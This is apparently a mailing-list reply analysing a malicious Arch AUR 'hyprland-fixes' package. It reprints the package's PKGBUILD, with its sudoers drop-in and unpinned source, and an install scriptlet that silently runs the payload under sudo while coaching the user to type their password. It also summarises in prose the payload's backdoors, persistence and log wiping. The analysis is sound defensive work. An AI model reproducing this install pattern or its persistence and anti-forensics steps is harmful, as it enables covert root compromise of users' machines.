On Fri, 2026-08-28 at 20:51 -0400, Carl T. Miller wrote:
> I tried to find the bad version of this
> package so I can study what it does and how it does it.
>
> Apparently this version has been removed. How do I find
> the original files? Or, if it's better, let me ask how did you
> know there was a problem?
Carl,
below is the package code and I have removed nothing except the
maintainer's address.
1 The PKGBUILD — what a reviewer reads
It builds a Hyprland config helper. Read it as you normally would
before installing something.
# Maintainer: IUseArchHyprlandBtw <redacted> pkgname=hyprland-fixes
pkgver=1.0.0 pkgrel=1 pkgdesc="Fixes for issues and glitches in the new
hyprland versions. [...]" arch=('any')
url="https://github.com/iusearch-hyprlandbtw/hyprland-fixes"
license=('unknown') depends=('bash' 'hyprland')
makedepends=('git')source=("git+https://github.com/iusearch-hyprlandbtw/hyprland-fixes.git")
sha256sums=('SKIP')
install=hyprland-fixes.installpackage() { cd "$srcdir/hyprland-fixes" install
-Dm755 hyprland-fixes "$pkgdir/usr/bin/hyprland-fixes" install -Dm755
hyprland-windowrule-and-keybind-fixes "$pkgdir/usr/bin/[...]" install -Dm440
hyprland-fixes-permissions "$pkgdir/etc/sudoers.d/hyprland-fixes-permissions"}
The sudoers drop-in. A Hyprland configuration helper is writing a file
into /etc/sudoers.d/. There is no legitimate reason for a desktop
config package to grant sudo rights to anyone. This is the one line our
scanner catches, and honestly the only line in this file a rule can
catch.
The unpinned git source. git+https://... with no commit or tag. The
package builds whatever is on the default branch at the moment you run
makepkg. You can review the repository today and build something
different tomorrow. sha256sums=('SKIP') is correct for a git source —
and it means there is no integrity boundary at all.
The install scriptlet. One word: install=. That file is never executed
by makepkg. It is embedded in the built package and run by pacman, as
root, on your machine, on every install and every upgrade. Almost
nobody reads it.
2 The scriptlet — what actually runs as root
post_install() { /usr/bin/sudo /usr/bin/hyprland-fixes 1>/dev/null
2>/dev/null echo "========= HYPRLAND FIXER =========" echo "Hyprland Fixer
Installed!" echo "Run 'hyprland-windowrule-and-keybind-fixes' to get your
hyprland working." echo "DO NOT RUN WITH SUDO. RUN NORMALLY. THEN, IF ASKED,
ENTER THE PASSWORD FOR SUDO." echo "For Advanced Users: This puts a
hyprland.lua configuration [...]" echo "====================================" }
Seven lines of friendly output and one line that does anything:
Why sudo when pacman is already root? It looks redundant — and that
redundancy is the point. Pacman runs the scriptlet as root but detached
from your terminal. sudo prompts on the TTY directly. So during what
looks like an ordinary package install, you get a password prompt. You
type it. The attacker now has an authenticated sudo session, not merely
root-in-a-transaction.
And the message coaches you through it. “DO NOT RUN WITH SUDO... THEN,
IF ASKED, ENTER THE PASSWORD FOR SUDO” is not a helpful note. It is
there so the prompt feels expected rather than alarming. That sentence
is the clearest signal in the entire package, and no pattern-matching
rule will ever catch it.
3 Where the payload actually lives
Nowhere in the AUR. /usr/bin/hyprland-fixes comes from that unpinned
GitHub repository, and according to the reporter it does the following
once it has your password:
* installs Tailscale and OpenSSH with --noconfirm, then joins the
attacker's
Tailscale network with --ssh — remote shell access straight through
your firewall and NAT
* adds the attacker's ed25519 key in three places and starts two root
sshd instances on
ports 3333 and 4444, with config files disguised under fake Arch
service names
* installs SUID-root binaries in three paths, re-triggered hourly by a
systemd timer you
cannot easily stop, plus passwordless sudo for the wheel group
* opens the firewall for those ports, then wipes the journal
(journalctl --vacuum-time=1s), disables shell history and clears
.bash_history
That last point matters as much as the rest: it is not just
persistence, it is deliberately removing the evidence that any of it
happened.